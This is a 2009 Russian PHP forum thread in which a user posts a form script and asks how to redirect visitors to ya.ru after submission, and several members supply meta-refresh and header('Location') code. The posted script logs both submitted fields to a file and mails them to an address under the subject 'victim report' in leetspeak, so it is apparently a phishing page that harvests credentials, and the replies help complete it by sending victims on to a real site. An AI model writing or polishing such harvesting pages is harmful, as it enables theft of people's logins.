[php] переход на страницу:)

Discussion in 'PHP' started by AdR3naL1ne, 15 Jun 2009.

  1. AdR3naL1ne

    AdR3naL1ne New Member

    Joined:
    5 May 2009
    Messages:
    14
    Likes Received:
    1
    Reputations:
    0
    скажите пожалуйста как сделать так чтоб после завершения выполнения php кода перебрасывало на другую страницу:) к примеру на http://ya.ru
    вот мой код:
    PHP:
    <form action="" method="post">
    <p><img src="1.jpg" " width="982" height="222" /></p>
      <p><img src="../01.jpg" width="232" height="35" />
        <textarea name="field1"></textarea>
      </p>
      <p>
      <span class="стиль5"><img src="../02.jpg" width="234" height="37" /></span>
      <textarea name="field2"></textarea>
      </p>
      <p>Всё ввели?  тогда жмите на кнопку ==&gt;
        <input type="submit" class="стиль5" value="OK">
    <p>&nbsp;</p>
    </form
    ><?
    if(!empty($_POST)) {
    $msg = $_POST['field1'].' '.$_POST['field2']."\r\n";
    $fp = fopen('mojo.txt','a');
    fwrite($fp, $msg);
    fclose($fp);
    mail('[email protected]', 'Ot4et }I{ePTBa', $msg);
    }
    ?>
     
    #1 AdR3naL1ne, 15 Jun 2009
    Last edited by a moderator: 15 Jun 2009
  2. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    PHP:
    echo'<META HTTP-EQUIV=Refresh Content="11;URL=http://ya.ru">'
    указываешь кол-во секунд и он перенаправляет на ya.ru =)
     
    1 person likes this.
  3. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    PHP:
    header ('Location: http://ya.ru');
     
    1 person likes this.
  4. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99
    Или же
    PHP:
    header('Location: http://ya.ru');
    Но сессию нчать, чтобы проблемы с хедерами не было.
     
    1 person likes this.
  5. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    1. header .... or die
    2. echo'<META HTTP-EQUIV=Refresh Content="11;URL=http://ya.ru">'; - можно нажать кнопочку "Назад"
     
  6. AdR3naL1ne

    AdR3naL1ne New Member

    Joined:
    5 May 2009
    Messages:
    14
    Likes Received:
    1
    Reputations:
    0
    спасибо всем:)
     
  7. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    2. echo'<META HTTP-EQUIV=Refresh Content="11;URL=http://ya.ru">'; - можно нажать кнопочку "Назад"[/QUOTE]


    о чем ты, какая ещё кнопка назад)))
    если ты про то что долго?) то там есть две циферки) их регулировать можно) т.е. вывести как ...ent="0;URL=h........ и она сразу перенаправит)
     
    #7 Sn@k3, 15 Jun 2009
    Last edited: 15 Jun 2009
  8. f1rebl00d

    f1rebl00d Elder - Старейшина

    Joined:
    27 Dec 2006
    Messages:
    25
    Likes Received:
    34
    Reputations:
    15
    "Вперед" "Назад" кнопочки браузера перехода по истории страниц.

    Метод "Refresh" перенаправляет пользователя в текущей вкладке на URL, при этом можно вернутся на страницу которая перенаправила.

    А header посылает заголовок с параметром location=URL, что не дает возможности перейти обратно на скрипт, который тя перенаправил
     
    1 person likes this.
  9. .::BARS::.

    .::BARS::. Elder - Старейшина

    Joined:
    13 Oct 2007
    Messages:
    379
    Likes Received:
    45
    Reputations:
    10

    о чем ты, какая ещё кнопка назад)))
    если ты про то что долго?) то там есть две циферки) их регулировать можно) т.е. вывести как ...ent="0;URL=h........ и она сразу перенаправит)[/QUOTE]

    про то что можно потом обратно вернуться... а при header нельзя